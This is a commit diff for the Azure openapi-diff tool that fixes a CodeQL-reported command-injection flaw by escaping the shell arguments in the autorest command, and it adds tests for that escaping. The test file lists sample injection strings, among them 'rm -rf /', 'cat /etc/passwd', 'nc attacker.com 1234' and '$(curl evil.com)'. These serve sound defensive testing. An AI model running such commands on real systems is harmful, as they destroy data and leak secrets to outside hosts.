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openapi-diff: fixed issue reported by CodeQL #358

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Jun 23, 2025
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4 changes: 4 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,9 @@
# Changelog

## 0.10.14 2025-06-19

- escaped the input string when construct the autorest command

## 0.10.5 Released on 2024-02-16

- update source map version from 0.7.3 to 0.7.4 so that it works with Node 18.
Expand Down
25 changes: 23 additions & 2 deletions package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

8 changes: 6 additions & 2 deletions package.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
{
"name": "@azure/oad",
"version": "0.10.13",
"version": "0.10.14",
"author": {
"name": "Microsoft Corporation",
"email": "[email protected]",
Expand All @@ -26,6 +26,7 @@
"minimist": "^1.2.8",
"request": "^2.88.0",
"set-value": "^4.1.0",
"shell-quote": "^1.8.3",
"source-map": "^0.7.4",
"tslib": "^2.6.3",
"winston": "^3.13.0",
Expand All @@ -40,6 +41,7 @@
"@types/json-pointer": "^1.0.30",
"@types/node": "^18.11.9",
"@types/request": "^2.48.1",
"@types/shell-quote": "^1.7.5",
"@types/yargs": "^13.0.0",
"eslint": "^8.57.0",
"jest": "^29.7.0",
Expand Down Expand Up @@ -80,7 +82,9 @@
"jest": {
"preset": "ts-jest",
"collectCoverage": true,
"testMatch": ["**/*[tT]est.ts"],
"testMatch": [
"**/*[tT]est.ts"
],
"testTimeout": 100000
},
"scripts": {
Expand Down
40 changes: 30 additions & 10 deletions src/lib/validators/openApiDiff.ts
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ import JSON_Pointer from "json-pointer"
import * as jsonRefs from "json-refs"
import * as os from "os"
import * as path from "path"
import { quote } from "shell-quote"
import * as sourceMap from "source-map"
import * as util from "util"
import { log } from "../util/logging"
Expand Down Expand Up @@ -82,8 +83,26 @@ const updateChangeProperties = (change: ChangeProperties, pf: ProcessedFile): Ch
}
}

function escape(filePath: string) {
return `"${filePath}"`
/**
* Safely escapes shell arguments for cross-platform compatibility
* @param arg The argument to escape
* @returns The safely escaped argument
*/
function escapeShellArg(arg: string): string {
if (typeof arg !== "string") {
throw new Error("Argument must be a string")
}

if (process.platform === "win32") {
// For Windows cmd.exe, wrap in double quotes and escape internal quotes
// This handles paths with spaces and special characters safely
// Double quotes are escaped by doubling them in Windows
return `"${arg.replace(/"/g, '""')}"`
} else {
// On Unix-like systems, use shell-quote for proper escaping
// shell-quote handles all edge cases including spaces, special chars, etc.
return quote([arg])
}
}

/**
Expand Down Expand Up @@ -158,7 +177,7 @@ export class OpenApiDiff {
const result = path.join(__dirname, "..", "..", "..", "node_modules", "autorest", "dist", "app.js")
if (fs.existsSync(result)) {
log.silly(`Found autoRest:${result} `)
return `node ${escape(result)}`
return `node ${escapeShellArg(result)}`
}
}

Expand All @@ -167,7 +186,7 @@ export class OpenApiDiff {
const result = path.join(__dirname, "..", "..", "..", "..", "..", "autorest", "dist", "app.js")
if (fs.existsSync(result)) {
log.silly(`Found autoRest:${result} `)
return `node ${escape(result)}`
return `node ${escapeShellArg(result)}`
}
}

Expand All @@ -176,7 +195,7 @@ export class OpenApiDiff {
const result = path.resolve("node_modules/.bin/autorest")
if (fs.existsSync(result)) {
log.silly(`Found autoRest:${result} `)
return escape(result)
return escapeShellArg(result)
}
}

Expand All @@ -192,7 +211,7 @@ export class OpenApiDiff {
public openApiDiffDllPath(): string {
log.silly(`openApiDiffDllPath is being called`)

return escape(path.join(__dirname, "..", "..", "..", "dlls", "OpenApiDiff.dll"))
return escapeShellArg(path.join(__dirname, "..", "..", "..", "dlls", "OpenApiDiff.dll"))
}

/**
Expand Down Expand Up @@ -231,11 +250,12 @@ export class OpenApiDiff {
const outputFolder = await fs.promises.mkdtemp(path.join(os.tmpdir(), "oad-"))
const outputFilePath = path.join(outputFolder, `${outputFileName}.json`)
const outputMapFilePath = path.join(outputFolder, `${outputFileName}.map`)
// Cross-platform shell argument escaping - behavior is validated in shellEscapingTest.ts
const autoRestCmd = tagName
? `${this.autoRestPath()} ${swaggerPath} --v2 --tag=${tagName} --output-artifact=swagger-document.json` +
` --output-artifact=swagger-document.map --output-file=${outputFileName} --output-folder=${outputFolder}`
: `${this.autoRestPath()} --v2 --input-file=${swaggerPath} --output-artifact=swagger-document.json` +
` --output-artifact=swagger-document.map --output-file=${outputFileName} --output-folder=${outputFolder}`
? `${this.autoRestPath()} ${escapeShellArg(swaggerPath)} --v2 --tag=${escapeShellArg(tagName)} --output-artifact=swagger-document.json` +
` --output-artifact=swagger-document.map --output-file=${escapeShellArg(outputFileName)} --output-folder=${escapeShellArg(outputFolder)}`
: `${this.autoRestPath()} --v2 --input-file=${escapeShellArg(swaggerPath)} --output-artifact=swagger-document.json` +
` --output-artifact=swagger-document.map --output-file=${escapeShellArg(outputFileName)} --output-folder=${escapeShellArg(outputFolder)}`

log.debug(`Executing: "${autoRestCmd}"`)

Expand Down
116 changes: 116 additions & 0 deletions src/test/shellEscapingTest.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
import * as assert from "assert"
import { quote } from "shell-quote"

// Test the shell-quote library integration to ensure our security fix works correctly
test("shell escaping with quote function", () => {
// Test normal filenames (should not be escaped)
const normalFile = "simple-file.json"
const escapedNormal = quote([normalFile])
assert.strictEqual(escapedNormal, normalFile)

// Test filenames with spaces (should be quoted)
const fileWithSpaces = "file with spaces.json"
const escapedSpaces = quote([fileWithSpaces])
assert.strictEqual(escapedSpaces, "'file with spaces.json'")

// Test dangerous shell metacharacters (should be escaped)
const dangerousFile = "file;with&dangerous|chars$.json"
const escapedDangerous = quote([dangerousFile])
// shell-quote uses backslash escaping for certain characters
assert.ok(escapedDangerous.includes("\\;"))
assert.ok(escapedDangerous.includes("\\&"))
assert.ok(escapedDangerous.includes("\\|"))
assert.ok(escapedDangerous.includes("\\$"))
})

test("autorest command construction with dangerous inputs", () => {
// Simulate the command construction logic from processViaAutoRest
const autoRestPath = "/usr/bin/autorest"

// Test with dangerous file paths
const dangerousSwaggerPath = "/tmp/file;rm -rf /.json"
const dangerousOutputFile = "output;evil&command"
const dangerousTag = "tag$(evil)"

// Build command like in processViaAutoRest with escaping
const autoRestCmd =
autoRestPath +
" " +
quote([dangerousSwaggerPath]) +
" --v2 --tag=" +
quote([dangerousTag]) +
" --output-artifact=swagger-document.json --output-artifact=swagger-document.map --output-file=" +
quote([dangerousOutputFile])

// Verify that dangerous parts are properly escaped/quoted
// Files with spaces get quoted, dangerous chars get backslash-escaped
assert.ok(autoRestCmd.includes("'/tmp/file;rm -rf /.json'")) // quoted because of spaces
assert.ok(autoRestCmd.includes("output\\;evil\\&command")) // backslash-escaped
assert.ok(autoRestCmd.includes("tag\\$\\(evil\\)")) // backslash-escaped

// Verify that the command structure is maintained
assert.ok(autoRestCmd.includes("--v2"))
assert.ok(autoRestCmd.includes("--tag="))
assert.ok(autoRestCmd.includes("--output-file="))
})

test("autorest command construction without tag", () => {
const autoRestPath = "/usr/bin/autorest"
const swaggerPath = "/tmp/test file.json"
const outputFile = "output file"
const outputFolder = "/tmp/output folder"

// Build command without tag (different structure)
const autoRestCmd =
`${autoRestPath} --v2 --input-file=${quote([swaggerPath])} --output-artifact=swagger-document.json` +
` --output-artifact=swagger-document.map --output-file=${quote([outputFile])} --output-folder=${quote([outputFolder])}`

// Verify correct command structure for non-tagged case
assert.ok(autoRestCmd.includes("--input-file="))
assert.ok(!autoRestCmd.includes("--tag="))
assert.ok(autoRestCmd.includes("--v2"))

// Verify spaces are properly quoted
assert.ok(autoRestCmd.includes("'/tmp/test file.json'"))
assert.ok(autoRestCmd.includes("'output file'"))
assert.ok(autoRestCmd.includes("'/tmp/output folder'"))
})

test("command injection prevention", () => {
// Test various command injection attempts
const injectionAttempts = [
"file.json; rm -rf /",
"file.json && cat /etc/passwd",
"file.json | nc attacker.com 1234",
"file.json $(curl evil.com)",
"file.json `wget malware.com`",
"file.json & background-evil-command"
]

injectionAttempts.forEach(attempt => {
const escaped = quote([attempt])
// Verify that the dangerous parts cannot be executed as separate commands
// They should either be quoted or have dangerous chars escaped
const hasDangerousUnescaped = /[^\\][;&|$`]/.test(escaped) && !escaped.includes("'")
assert.ok(!hasDangerousUnescaped, `Injection attempt not properly escaped: ${attempt} -> ${escaped}`)
})
})

test("edge cases and special characters", () => {
// Test empty string
assert.strictEqual(quote([""]), "''")

// Test string with only spaces
assert.strictEqual(quote([" "]), "' '")

// Test string with newlines
const withNewlines = "file\nwith\nnewlines.json"
const escapedNewlines = quote([withNewlines])
// Should be safely handled
assert.ok(typeof escapedNewlines === "string")

// Test unicode and special chars
const unicodeFile = "файл.json"
const escapedUnicode = quote([unicodeFile])
assert.ok(escapedUnicode.includes("файл"))
})
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